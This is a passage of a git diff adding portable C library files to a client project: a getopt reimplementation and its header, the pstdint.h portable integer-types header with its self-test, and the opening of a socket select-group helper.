argv[] (they DON'T permute the options list), + but this one does. So we remove it as long as HAVE_GETOPT is define, so + people can use the version from their platform instead */ + +#ifndef HAVE_GETOPT +int getopt(int argc, char * argv[], const char *opts) +{ + return _getopt(argc, argv, opts); +} +#endif /* HAVE_GETOPT */ + +int getopt_long(int argc, char * argv[], const char *shortopts, + const struct option *longopts, int *longind) +{ + return _getopt_internal(argc, argv, shortopts, longopts, longind, 0); +} + +int getopt_long_only(int argc, char * argv[], const char *shortopts, + const struct option *longopts, int *longind) +{ + return _getopt_internal(argc, argv, shortopts, longopts, longind, 1); +} + +#endif diff --git a/client/libs/my_getopt.h b/client/libs/my_getopt.h new file mode 100644 index 0000000..7fdec74 --- /dev/null +++ b/client/libs/my_getopt.h @@ -0,0 +1,67 @@ +/* + * my_getopt.h - interface to my re-implementation of getopt. + * Copyright 1997, 2000, 2001, 2002, 2006, Benjamin Sittler + * + * Permission is hereby granted, free of charge, to any person + * obtaining a copy of this software and associated documentation + * files (the "Software"), to deal in the Software without + * restriction, including without limitation the rights to use, copy, + * modify, merge, publish, distribute, sublicense, and/or sell copies + * of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT + * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, + * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER + * DEALINGS IN THE SOFTWARE. + */ + +#ifndef MY_GETOPT_H_INCLUDED +#define MY_GETOPT_H_INCLUDED + +#ifndef WIN32 +#include +#else + +extern int getopt(int argc, char * argv[], const char *opts); + +/* reset argument parser to start-up values */ +extern int getopt_reset(void); +extern int optind, opterr, optopt; +extern char *optarg; + +struct option { + const char *name; + int has_arg; + int *flag; + int val; +}; + +/* human-readable values for has_arg */ +#undef no_argument +#define no_argument 0 +#undef required_argument +#define required_argument 1 +#undef optional_argument +#define optional_argument 2 + +/* GNU-style long-argument parsers */ +extern int getopt_long(int argc, char * argv[], const char *shortopts, + const struct option *longopts, int *longind); + +extern int getopt_long_only(int argc, char * argv[], const char *shortopts, + const struct option *longopts, int *longind); + +extern int _getopt_internal(int argc, char * argv[], const char *shortopts, + const struct option *longopts, int *longind, + int long_only); + +#endif /* WIN32 */ +#endif /* MY_GETOPT_H_INCLUDED */ diff --git a/client/libs/pstdint.h b/client/libs/pstdint.h new file mode 100755 index 0000000..27d4d19 --- /dev/null +++ b/client/libs/pstdint.h @@ -0,0 +1,799 @@ +/* A portable stdint.h + **************************************************************************** + * BSD License: + **************************************************************************** + * + * Copyright (c) 2005-2007 Paul Hsieh + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + **************************************************************************** + * + * Version 0.1.11 + * + * The ANSI C standard committee, for the C99 standard, specified the + * inclusion of a new standard include file called stdint.h. This is + * a very useful and long desired include file which contains several + * very precise definitions for integer scalar types that is + * critically important for making portable several classes of + * applications including cryptography, hashing, variable length + * integer libraries and so on. But for most developers its likely + * useful just for programming sanity. + * + * The problem is that most compiler vendors have decided not to + * implement the C99 standard, and the next C++ language standard + * (which has a lot more mindshare these days) will be a long time in + * coming and its unknown whether or not it will include stdint.h or + * how much adoption it will have. Either way, it will be a long time + * before all compilers come with a stdint.h and it also does nothing + * for the extremely large number of compilers available today which + * do not include this file, or anything comparable to it. + * + * So that's what this file is all about. Its an attempt to build a + * single universal include file that works on as many platforms as + * possible to deliver what stdint.h is supposed to. A few things + * that should be noted about this file: + * + * 1) It is not guaranteed to be portable and/or present an identical + * interface on all platforms. The extreme variability of the + * ANSI C standard makes this an impossibility right from the + * very get go. Its really only meant to be useful for the vast + * majority of platforms that possess the capability of + * implementing usefully and precisely defined, standard sized + * integer scalars. Systems which are not intrinsically 2s + * complement may produce invalid constants. + * + * 2) There is an unavoidable use of non-reserved symbols. + * + * 3) Other standard include files are invoked. + * + * 4) This file may come in conflict with future platforms that do + * include stdint.h. The hope is that one or the other can be + * used with no real difference. + * + * 5) In the current verison, if your platform can't represent + * int32_t, int16_t and int8_t, it just dumps out with a compiler + * error. + * + * 6) 64 bit integers may or may not be defined. Test for their + * presence with the test: #ifdef INT64_MAX or #ifdef UINT64_MAX. + * Note that this is different from the C99 specification which + * requires the existence of 64 bit support in the compiler. If + * this is not defined for your platform, yet it is capable of + * dealing with 64 bits then it is because this file has not yet + * been extended to cover all of your system's capabilities. + * + * 7) (u)intptr_t may or may not be defined. Test for its presence + * with the test: #ifdef PTRDIFF_MAX. If this is not defined + * for your platform, then it is because this file has not yet + * been extended to cover all of your system's capabilities, not + * because its optional. + * + * 8) The following might not been defined even if your platform is + * capable of defining it: + * + * WCHAR_MIN + * WCHAR_MAX + * (u)int64_t + * PTRDIFF_MIN + * PTRDIFF_MAX + * (u)intptr_t + * + * 9) The following have not been defined: + * + * WINT_MIN + * WINT_MAX + * + * 10) The criteria for defining (u)int_least(*)_t isn't clear, + * except for systems which don't have a type that precisely + * defined 8, 16, or 32 bit types (which this include file does + * not support anyways). Default definitions have been given. + * + * 11) The criteria for defining (u)int_fast(*)_t isn't something I + * would trust to any particular compiler vendor or the ANSI C + * committee. It is well known that "compatible systems" are + * commonly created that have very different performance + * characteristics from the systems they are compatible with, + * especially those whose vendors make both the compiler and the + * system. Default definitions have been given, but its strongly + * recommended that users never use these definitions for any + * reason (they do *NOT* deliver any serious guarantee of + * improved performance -- not in this file, nor any vendor's + * stdint.h). + * + * 12) The following macros: + * + * PRINTF_INTMAX_MODIFIER + * PRINTF_INT64_MODIFIER + * PRINTF_INT32_MODIFIER + * PRINTF_INT16_MODIFIER + * PRINTF_LEAST64_MODIFIER + * PRINTF_LEAST32_MODIFIER + * PRINTF_LEAST16_MODIFIER + * PRINTF_INTPTR_MODIFIER + * + * are strings which have been defined as the modifiers required + * for the "d", "u" and "x" printf formats to correctly output + * (u)intmax_t, (u)int64_t, (u)int32_t, (u)int16_t, (u)least64_t, + * (u)least32_t, (u)least16_t and (u)intptr_t types respectively. + * PRINTF_INTPTR_MODIFIER is not defined for some systems which + * provide their own stdint.h. PRINTF_INT64_MODIFIER is not + * defined if INT64_MAX is not defined. These are an extension + * beyond what C99 specifies must be in stdint.h. + * + * In addition, the following macros are defined: + * + * PRINTF_INTMAX_HEX_WIDTH + * PRINTF_INT64_HEX_WIDTH + * PRINTF_INT32_HEX_WIDTH + * PRINTF_INT16_HEX_WIDTH + * PRINTF_INT8_HEX_WIDTH + * PRINTF_INTMAX_DEC_WIDTH + * PRINTF_INT64_DEC_WIDTH + * PRINTF_INT32_DEC_WIDTH + * PRINTF_INT16_DEC_WIDTH + * PRINTF_INT8_DEC_WIDTH + * + * Which specifies the maximum number of characters required to + * print the number of that type in either hexadecimal or decimal. + * These are an extension beyond what C99 specifies must be in + * stdint.h. + * + * Compilers tested (all with 0 warnings at their highest respective + * settings): Borland Turbo C 2.0, WATCOM C/C++ 11.0 (16 bits and 32 + * bits), Microsoft Visual C++ 6.0 (32 bit), Microsoft Visual Studio + * .net (VC7), Intel C++ 4.0, GNU gcc v3.3.3 + * + * This file should be considered a work in progress. Suggestions for + * improvements, especially those which increase coverage are strongly + * encouraged. + * + * Acknowledgements + * + * The following people have made significant contributions to the + * development and testing of this file: + * + * Chris Howie + * John Steele Scott + * Dave Thorup + * + */ + +#include +#include +#include + +/* + * For gcc with _STDINT_H, fill in the PRINTF_INT*_MODIFIER macros, and + * do nothing else. On the Mac OS X version of gcc this is _STDINT_H_. + */ + +#if ((defined(__STDC__) && __STDC__ && __STDC_VERSION__ >= 199901L) || (defined (__WATCOMC__) && (defined (_STDINT_H_INCLUDED) || __WATCOMC__ >= 1250)) || (defined(__GNUC__) && (defined(_STDINT_H) || defined(_STDINT_H_)) )) && !defined (_PSTDINT_H_INCLUDED) +#include +#define _PSTDINT_H_INCLUDED +# ifndef PRINTF_INT64_MODIFIER +# define PRINTF_INT64_MODIFIER "ll" +# endif +# ifndef PRINTF_INT32_MODIFIER +# define PRINTF_INT32_MODIFIER "l" +# endif +# ifndef PRINTF_INT16_MODIFIER +# define PRINTF_INT16_MODIFIER "h" +# endif +# ifndef PRINTF_INTMAX_MODIFIER +# define PRINTF_INTMAX_MODIFIER PRINTF_INT64_MODIFIER +# endif +# ifndef PRINTF_INT64_HEX_WIDTH +# define PRINTF_INT64_HEX_WIDTH "16" +# endif +# ifndef PRINTF_INT32_HEX_WIDTH +# define PRINTF_INT32_HEX_WIDTH "8" +# endif +# ifndef PRINTF_INT16_HEX_WIDTH +# define PRINTF_INT16_HEX_WIDTH "4" +# endif +# ifndef PRINTF_INT8_HEX_WIDTH +# define PRINTF_INT8_HEX_WIDTH "2" +# endif +# ifndef PRINTF_INT64_DEC_WIDTH +# define PRINTF_INT64_DEC_WIDTH "20" +# endif +# ifndef PRINTF_INT32_DEC_WIDTH +# define PRINTF_INT32_DEC_WIDTH "10" +# endif +# ifndef PRINTF_INT16_DEC_WIDTH +# define PRINTF_INT16_DEC_WIDTH "5" +# endif +# ifndef PRINTF_INT8_DEC_WIDTH +# define PRINTF_INT8_DEC_WIDTH "3" +# endif +# ifndef PRINTF_INTMAX_HEX_WIDTH +# define PRINTF_INTMAX_HEX_WIDTH PRINTF_INT64_HEX_WIDTH +# endif +# ifndef PRINTF_INTMAX_DEC_WIDTH +# define PRINTF_INTMAX_DEC_WIDTH PRINTF_INT64_DEC_WIDTH +# endif + +/* + * Something really weird is going on with Open Watcom. Just pull some of + * these duplicated definitions from Open Watcom's stdint.h file for now. + */ + +# if defined (__WATCOMC__) && __WATCOMC__ >= 1250 +# if !defined (INT64_C) +# define INT64_C(x) (x + (INT64_MAX - INT64_MAX)) +# endif +# if !defined (UINT64_C) +# define UINT64_C(x) (x + (UINT64_MAX - UINT64_MAX)) +# endif +# if !defined (INT32_C) +# define INT32_C(x) (x + (INT32_MAX - INT32_MAX)) +# endif +# if !defined (UINT32_C) +# define UINT32_C(x) (x + (UINT32_MAX - UINT32_MAX)) +# endif +# if !defined (INT16_C) +# define INT16_C(x) (x) +# endif +# if !defined (UINT16_C) +# define UINT16_C(x) (x) +# endif +# if !defined (INT8_C) +# define INT8_C(x) (x) +# endif +# if !defined (UINT8_C) +# define UINT8_C(x) (x) +# endif +# if !defined (UINT64_MAX) +# define UINT64_MAX 18446744073709551615ULL +# endif +# if !defined (INT64_MAX) +# define INT64_MAX 9223372036854775807LL +# endif +# if !defined (UINT32_MAX) +# define UINT32_MAX 4294967295UL +# endif +# if !defined (INT32_MAX) +# define INT32_MAX 2147483647L +# endif +# if !defined (INTMAX_MAX) +# define INTMAX_MAX INT64_MAX +# endif +# if !defined (INTMAX_MIN) +# define INTMAX_MIN INT64_MIN +# endif +# endif +#endif + +#ifndef _PSTDINT_H_INCLUDED +#define _PSTDINT_H_INCLUDED + +#ifndef SIZE_MAX +# define SIZE_MAX (~(size_t)0) +#endif + +/* + * Deduce the type assignments from limits.h under the assumption that + * integer sizes in bits are powers of 2, and follow the ANSI + * definitions. + */ + +#ifndef UINT8_MAX +# define UINT8_MAX 0xff +#endif +#ifndef uint8_t +# if (UCHAR_MAX == UINT8_MAX) || defined (S_SPLINT_S) + typedef unsigned char uint8_t; +# define UINT8_C(v) ((uint8_t) v) +# else +# error "Platform not supported" +# endif +#endif + +#ifndef INT8_MAX +# define INT8_MAX 0x7f +#endif +#ifndef INT8_MIN +# define INT8_MIN INT8_C(0x80) +#endif +#ifndef int8_t +# if (SCHAR_MAX == INT8_MAX) || defined (S_SPLINT_S) + typedef signed char int8_t; +# define INT8_C(v) ((int8_t) v) +# else +# error "Platform not supported" +# endif +#endif + +#ifndef UINT16_MAX +# define UINT16_MAX 0xffff +#endif +#ifndef uint16_t +#if (UINT_MAX == UINT16_MAX) || defined (S_SPLINT_S) + typedef unsigned int uint16_t; +# ifndef PRINTF_INT16_MODIFIER +# define PRINTF_INT16_MODIFIER "" +# endif +# define UINT16_C(v) ((uint16_t) (v)) +#elif (USHRT_MAX == UINT16_MAX) + typedef unsigned short uint16_t; +# define UINT16_C(v) ((uint16_t) (v)) +# ifndef PRINTF_INT16_MODIFIER +# define PRINTF_INT16_MODIFIER "h" +# endif +#else +#error "Platform not supported" +#endif +#endif + +#ifndef INT16_MAX +# define INT16_MAX 0x7fff +#endif +#ifndef INT16_MIN +# define INT16_MIN INT16_C(0x8000) +#endif +#ifndef int16_t +#if (INT_MAX == INT16_MAX) || defined (S_SPLINT_S) + typedef signed int int16_t; +# define INT16_C(v) ((int16_t) (v)) +# ifndef PRINTF_INT16_MODIFIER +# define PRINTF_INT16_MODIFIER "" +# endif +#elif (SHRT_MAX == INT16_MAX) + typedef signed short int16_t; +# define INT16_C(v) ((int16_t) (v)) +# ifndef PRINTF_INT16_MODIFIER +# define PRINTF_INT16_MODIFIER "h" +# endif +#else +#error "Platform not supported" +#endif +#endif + +#ifndef UINT32_MAX +# define UINT32_MAX (0xffffffffUL) +#endif +#ifndef uint32_t +#if (ULONG_MAX == UINT32_MAX) || defined (S_SPLINT_S) + typedef unsigned long uint32_t; +# define UINT32_C(v) v ## UL +# ifndef PRINTF_INT32_MODIFIER +# define PRINTF_INT32_MODIFIER "l" +# endif +#elif (UINT_MAX == UINT32_MAX) + typedef unsigned int uint32_t; +# ifndef PRINTF_INT32_MODIFIER +# define PRINTF_INT32_MODIFIER "" +# endif +# define UINT32_C(v) v ## U +#elif (USHRT_MAX == UINT32_MAX) + typedef unsigned short uint32_t; +# define UINT32_C(v) ((unsigned short) (v)) +# ifndef PRINTF_INT32_MODIFIER +# define PRINTF_INT32_MODIFIER "" +# endif +#else +#error "Platform not supported" +#endif +#endif + +#ifndef INT32_MAX +# define INT32_MAX (0x7fffffffL) +#endif +#ifndef INT32_MIN +# define INT32_MIN INT32_C(0x80000000) +#endif +#ifndef int32_t +#if (LONG_MAX == INT32_MAX) || defined (S_SPLINT_S) + typedef signed long int32_t; +# define INT32_C(v) v ## L +# ifndef PRINTF_INT32_MODIFIER +# define PRINTF_INT32_MODIFIER "l" +# endif +#elif (INT_MAX == INT32_MAX) + typedef signed int int32_t; +# define INT32_C(v) v +# ifndef PRINTF_INT32_MODIFIER +# define PRINTF_INT32_MODIFIER "" +# endif +#elif (SHRT_MAX == INT32_MAX) + typedef signed short int32_t; +# define INT32_C(v) ((short) (v)) +# ifndef PRINTF_INT32_MODIFIER +# define PRINTF_INT32_MODIFIER "" +# endif +#else +#error "Platform not supported" +#endif +#endif + +/* + * The macro stdint_int64_defined is temporarily used to record + * whether or not 64 integer support is available. It must be + * defined for any 64 integer extensions for new platforms that are + * added. + */ + +#undef stdint_int64_defined +#if (defined(__STDC__) && defined(__STDC_VERSION__)) || defined (S_SPLINT_S) +# if (__STDC__ && __STDC_VERSION >= 199901L) || defined (S_SPLINT_S) +# define stdint_int64_defined + typedef long long int64_t; + typedef unsigned long long uint64_t; +# define UINT64_C(v) v ## ULL +# define INT64_C(v) v ## LL +# ifndef PRINTF_INT64_MODIFIER +# define PRINTF_INT64_MODIFIER "ll" +# endif +# endif +#endif + +#if !defined (stdint_int64_defined) +# if defined(__GNUC__) +# define stdint_int64_defined + __extension__ typedef long long int64_t; + __extension__ typedef unsigned long long uint64_t; +# define UINT64_C(v) v ## ULL +# define INT64_C(v) v ## LL +# ifndef PRINTF_INT64_MODIFIER +# define PRINTF_INT64_MODIFIER "ll" +# endif +# elif defined(__MWERKS__) || defined (__SUNPRO_C) || defined (__SUNPRO_CC) || defined (__APPLE_CC__) || defined (_LONG_LONG) || defined (_CRAYC) || defined (S_SPLINT_S) +# define stdint_int64_defined + typedef long long int64_t; + typedef unsigned long long uint64_t; +# define UINT64_C(v) v ## ULL +# define INT64_C(v) v ## LL +# ifndef PRINTF_INT64_MODIFIER +# define PRINTF_INT64_MODIFIER "ll" +# endif +# elif (defined(__WATCOMC__) && defined(__WATCOM_INT64__)) || (defined(_MSC_VER) && _INTEGRAL_MAX_BITS >= 64) || (defined (__BORLANDC__) && __BORLANDC__ > 0x460) || defined (__alpha) || defined (__DECC) +# define stdint_int64_defined + typedef __int64 int64_t; + typedef unsigned __int64 uint64_t; +# define UINT64_C(v) v ## UI64 +# define INT64_C(v) v ## I64 +# ifndef PRINTF_INT64_MODIFIER +# define PRINTF_INT64_MODIFIER "I64" +# endif +# endif +#endif + +#if !defined (LONG_LONG_MAX) && defined (INT64_C) +# define LONG_LONG_MAX INT64_C (9223372036854775807) +#endif +#ifndef ULONG_LONG_MAX +# define ULONG_LONG_MAX UINT64_C (18446744073709551615) +#endif + +#if !defined (INT64_MAX) && defined (INT64_C) +# define INT64_MAX INT64_C (9223372036854775807) +#endif +#if !defined (INT64_MIN) && defined (INT64_C) +# define INT64_MIN INT64_C (-9223372036854775808) +#endif +#if !defined (UINT64_MAX) && defined (INT64_C) +# define UINT64_MAX UINT64_C (18446744073709551615) +#endif + +/* + * Width of hexadecimal for number field. + */ + +#ifndef PRINTF_INT64_HEX_WIDTH +# define PRINTF_INT64_HEX_WIDTH "16" +#endif +#ifndef PRINTF_INT32_HEX_WIDTH +# define PRINTF_INT32_HEX_WIDTH "8" +#endif +#ifndef PRINTF_INT16_HEX_WIDTH +# define PRINTF_INT16_HEX_WIDTH "4" +#endif +#ifndef PRINTF_INT8_HEX_WIDTH +# define PRINTF_INT8_HEX_WIDTH "2" +#endif + +#ifndef PRINTF_INT64_DEC_WIDTH +# define PRINTF_INT64_DEC_WIDTH "20" +#endif +#ifndef PRINTF_INT32_DEC_WIDTH +# define PRINTF_INT32_DEC_WIDTH "10" +#endif +#ifndef PRINTF_INT16_DEC_WIDTH +# define PRINTF_INT16_DEC_WIDTH "5" +#endif +#ifndef PRINTF_INT8_DEC_WIDTH +# define PRINTF_INT8_DEC_WIDTH "3" +#endif + +/* + * Ok, lets not worry about 128 bit integers for now. Moore's law says + * we don't need to worry about that until about 2040 at which point + * we'll have bigger things to worry about. + */ + +#ifdef stdint_int64_defined + typedef int64_t intmax_t; + typedef uint64_t uintmax_t; +# define INTMAX_MAX INT64_MAX +# define INTMAX_MIN INT64_MIN +# define UINTMAX_MAX UINT64_MAX +# define UINTMAX_C(v) UINT64_C(v) +# define INTMAX_C(v) INT64_C(v) +# ifndef PRINTF_INTMAX_MODIFIER +# define PRINTF_INTMAX_MODIFIER PRINTF_INT64_MODIFIER +# endif +# ifndef PRINTF_INTMAX_HEX_WIDTH +# define PRINTF_INTMAX_HEX_WIDTH PRINTF_INT64_HEX_WIDTH +# endif +# ifndef PRINTF_INTMAX_DEC_WIDTH +# define PRINTF_INTMAX_DEC_WIDTH PRINTF_INT64_DEC_WIDTH +# endif +#else + typedef int32_t intmax_t; + typedef uint32_t uintmax_t; +# define INTMAX_MAX INT32_MAX +# define UINTMAX_MAX UINT32_MAX +# define UINTMAX_C(v) UINT32_C(v) +# define INTMAX_C(v) INT32_C(v) +# ifndef PRINTF_INTMAX_MODIFIER +# define PRINTF_INTMAX_MODIFIER PRINTF_INT32_MODIFIER +# endif +# ifndef PRINTF_INTMAX_HEX_WIDTH +# define PRINTF_INTMAX_HEX_WIDTH PRINTF_INT32_HEX_WIDTH +# endif +# ifndef PRINTF_INTMAX_DEC_WIDTH +# define PRINTF_INTMAX_DEC_WIDTH PRINTF_INT32_DEC_WIDTH +# endif +#endif + +/* + * Because this file currently only supports platforms which have + * precise powers of 2 as bit sizes for the default integers, the + * least definitions are all trivial. Its possible that a future + * version of this file could have different definitions. + */ + +#ifndef stdint_least_defined + typedef int8_t int_least8_t; + typedef uint8_t uint_least8_t; + typedef int16_t int_least16_t; + typedef uint16_t uint_least16_t; + typedef int32_t int_least32_t; + typedef uint32_t uint_least32_t; +# define PRINTF_LEAST32_MODIFIER PRINTF_INT32_MODIFIER +# define PRINTF_LEAST16_MODIFIER PRINTF_INT16_MODIFIER +# define UINT_LEAST8_MAX UINT8_MAX +# define INT_LEAST8_MAX INT8_MAX +# define UINT_LEAST16_MAX UINT16_MAX +# define INT_LEAST16_MAX INT16_MAX +# define UINT_LEAST32_MAX UINT32_MAX +# define INT_LEAST32_MAX INT32_MAX +# define INT_LEAST8_MIN INT8_MIN +# define INT_LEAST16_MIN INT16_MIN +# define INT_LEAST32_MIN INT32_MIN +# ifdef stdint_int64_defined + typedef int64_t int_least64_t; + typedef uint64_t uint_least64_t; +# define PRINTF_LEAST64_MODIFIER PRINTF_INT64_MODIFIER +# define UINT_LEAST64_MAX UINT64_MAX +# define INT_LEAST64_MAX INT64_MAX +# define INT_LEAST64_MIN INT64_MIN +# endif +#endif +#undef stdint_least_defined + +/* + * The ANSI C committee pretending to know or specify anything about + * performance is the epitome of misguided arrogance. The mandate of + * this file is to *ONLY* ever support that absolute minimum + * definition of the fast integer types, for compatibility purposes. + * No extensions, and no attempt to suggest what may or may not be a + * faster integer type will ever be made in this file. Developers are + * warned to stay away from these types when using this or any other + * stdint.h. + */ + +typedef int_least8_t int_fast8_t; +typedef uint_least8_t uint_fast8_t; +typedef int_least16_t int_fast16_t; +typedef uint_least16_t uint_fast16_t; +typedef int_least32_t int_fast32_t; +typedef uint_least32_t uint_fast32_t; +#define UINT_FAST8_MAX UINT_LEAST8_MAX +#define INT_FAST8_MAX INT_LEAST8_MAX +#define UINT_FAST16_MAX UINT_LEAST16_MAX +#define INT_FAST16_MAX INT_LEAST16_MAX +#define UINT_FAST32_MAX UINT_LEAST32_MAX +#define INT_FAST32_MAX INT_LEAST32_MAX +#define INT_FAST8_MIN INT_LEAST8_MIN +#define INT_FAST16_MIN INT_LEAST16_MIN +#define INT_FAST32_MIN INT_LEAST32_MIN +#ifdef stdint_int64_defined + typedef int_least64_t int_fast64_t; + typedef uint_least64_t uint_fast64_t; +# define UINT_FAST64_MAX UINT_LEAST64_MAX +# define INT_FAST64_MAX INT_LEAST64_MAX +# define INT_FAST64_MIN INT_LEAST64_MIN +#endif + +#undef stdint_int64_defined + +/* + * Whatever piecemeal, per compiler thing we can do about the wchar_t + * type limits. + */ + +#if defined(__WATCOMC__) || defined(_MSC_VER) || defined (__GNUC__) +# include +# ifndef WCHAR_MIN +# define WCHAR_MIN 0 +# endif +# ifndef WCHAR_MAX +# define WCHAR_MAX ((wchar_t)-1) +# endif +#endif + +/* + * Whatever piecemeal, per compiler/platform thing we can do about the + * (u)intptr_t types and limits. + */ + +#if defined (_MSC_VER) && defined (_UINTPTR_T_DEFINED) +# define STDINT_H_UINTPTR_T_DEFINED +#endif + +#ifndef STDINT_H_UINTPTR_T_DEFINED +# if defined (__alpha__) || defined (__ia64__) || defined (__x86_64__) || defined (_WIN64) +# define stdint_intptr_bits 64 +# elif defined (__WATCOMC__) || defined (__TURBOC__) +# if defined(__TINY__) || defined(__SMALL__) || defined(__MEDIUM__) +# define stdint_intptr_bits 16 +# else +# define stdint_intptr_bits 32 +# endif +# elif defined (__i386__) || defined (_WIN32) || defined (WIN32) +# define stdint_intptr_bits 32 +# elif defined (__INTEL_COMPILER) +/* TODO -- what will Intel do about x86-64? */ +# endif + +# ifdef stdint_intptr_bits +# define stdint_intptr_glue3_i(a,b,c) a##b##c +# define stdint_intptr_glue3(a,b,c) stdint_intptr_glue3_i(a,b,c) +# ifndef PRINTF_INTPTR_MODIFIER +# define PRINTF_INTPTR_MODIFIER stdint_intptr_glue3(PRINTF_INT,stdint_intptr_bits,_MODIFIER) +# endif +# ifndef PTRDIFF_MAX +# define PTRDIFF_MAX stdint_intptr_glue3(INT,stdint_intptr_bits,_MAX) +# endif +# ifndef PTRDIFF_MIN +# define PTRDIFF_MIN stdint_intptr_glue3(INT,stdint_intptr_bits,_MIN) +# endif +# ifndef UINTPTR_MAX +# define UINTPTR_MAX stdint_intptr_glue3(UINT,stdint_intptr_bits,_MAX) +# endif +# ifndef INTPTR_MAX +# define INTPTR_MAX stdint_intptr_glue3(INT,stdint_intptr_bits,_MAX) +# endif +# ifndef INTPTR_MIN +# define INTPTR_MIN stdint_intptr_glue3(INT,stdint_intptr_bits,_MIN) +# endif +# ifndef INTPTR_C +# define INTPTR_C(x) stdint_intptr_glue3(INT,stdint_intptr_bits,_C)(x) +# endif +# ifndef UINTPTR_C +# define UINTPTR_C(x) stdint_intptr_glue3(UINT,stdint_intptr_bits,_C)(x) +# endif + typedef stdint_intptr_glue3(uint,stdint_intptr_bits,_t) uintptr_t; + typedef stdint_intptr_glue3( int,stdint_intptr_bits,_t) intptr_t; +# else +/* TODO -- This following is likely wrong for some platforms, and does + nothing for the definition of uintptr_t. */ + typedef ptrdiff_t intptr_t; +# endif +# define STDINT_H_UINTPTR_T_DEFINED +#endif + +/* + * Assumes sig_atomic_t is signed and we have a 2s complement machine. + */ + +#ifndef SIG_ATOMIC_MAX +# define SIG_ATOMIC_MAX ((((sig_atomic_t) 1) << (sizeof (sig_atomic_t)*CHAR_BIT-1)) - 1) +#endif + +#endif + +#if defined (__TEST_PSTDINT_FOR_CORRECTNESS) + +/* + * Please compile with the maximum warning settings to make sure macros are not + * defined more than once. + */ + +#include +#include +#include + +#define glue3_aux(x,y,z) x ## y ## z +#define glue3(x,y,z) glue3_aux(x,y,z) + +#define DECLU(bits) glue3(uint,bits,_t) glue3(u,bits,=) glue3(UINT,bits,_C) (0); +#define DECLI(bits) glue3(int,bits,_t) glue3(i,bits,=) glue3(INT,bits,_C) (0); + +#define DECL(us,bits) glue3(DECL,us,) (bits) + +#define TESTUMAX(bits) glue3(u,bits,=) glue3(~,u,bits); if (glue3(UINT,bits,_MAX) glue3(!=,u,bits)) printf ("Something wrong with UINT%d_MAX\n", bits) + +int main () { + DECL(I,8) + DECL(U,8) + DECL(I,16) + DECL(U,16) + DECL(I,32) + DECL(U,32) +#ifdef INT64_MAX + DECL(I,64) + DECL(U,64) +#endif + intmax_t imax = INTMAX_C(0); + uintmax_t umax = UINTMAX_C(0); + char str0[256], str1[256]; + + sprintf (str0, "%d %x\n", 0, ~0); + + sprintf (str1, "%d %x\n", i8, ~0); + if (0 != strcmp (str0, str1)) printf ("Something wrong with i8 : %s\n", str1); + sprintf (str1, "%u %x\n", u8, ~0); + if (0 != strcmp (str0, str1)) printf ("Something wrong with u8 : %s\n", str1); + sprintf (str1, "%d %x\n", i16, ~0); + if (0 != strcmp (str0, str1)) printf ("Something wrong with i16 : %s\n", str1); + sprintf (str1, "%u %x\n", u16, ~0); + if (0 != strcmp (str0, str1)) printf ("Something wrong with u16 : %s\n", str1); + sprintf (str1, "%" PRINTF_INT32_MODIFIER "d %x\n", i32, ~0); + if (0 != strcmp (str0, str1)) printf ("Something wrong with i32 : %s\n", str1); + sprintf (str1, "%" PRINTF_INT32_MODIFIER "u %x\n", u32, ~0); + if (0 != strcmp (str0, str1)) printf ("Something wrong with u32 : %s\n", str1); +#ifdef INT64_MAX + sprintf (str1, "%" PRINTF_INT64_MODIFIER "d %x\n", i64, ~0); + if (0 != strcmp (str0, str1)) printf ("Something wrong with i64 : %s\n", str1); +#endif + sprintf (str1, "%" PRINTF_INTMAX_MODIFIER "d %x\n", imax, ~0); + if (0 != strcmp (str0, str1)) printf ("Something wrong with imax : %s\n", str1); + sprintf (str1, "%" PRINTF_INTMAX_MODIFIER "u %x\n", umax, ~0); + if (0 != strcmp (str0, str1)) printf ("Something wrong with umax : %s\n", str1); + + TESTUMAX(8); + TESTUMAX(16); + TESTUMAX(32); +#ifdef INT64_MAX + TESTUMAX(64); +#endif + + return EXIT_SUCCESS; +} + +#endif diff --git a/client/libs/select_group.c b/client/libs/select_group.c new file mode 100644 index 0000000..8ddf1f1 --- /dev/null +++ b/client/libs/select_group.c @@ -0,0 +1,847 @@ +/* select_group.c + * By Ron + * Created August, 2008 + * + * (See LICENSE.md) + */ + +#include +#include +#include + +#ifdef WIN32 +#include +#else +#include +#include +#include +#include +#include +#include +#include +#include +#endif + +#include "memory.h" +#include "select_group.h" +#include "tcp.h" + +/* People probably won't be using more than 32 sockets, so 32 should be a good number + * to avoid unnecessary realloc() calls. */ +#define LIST_STARTING_SIZE 32 +#define MAX_RECV 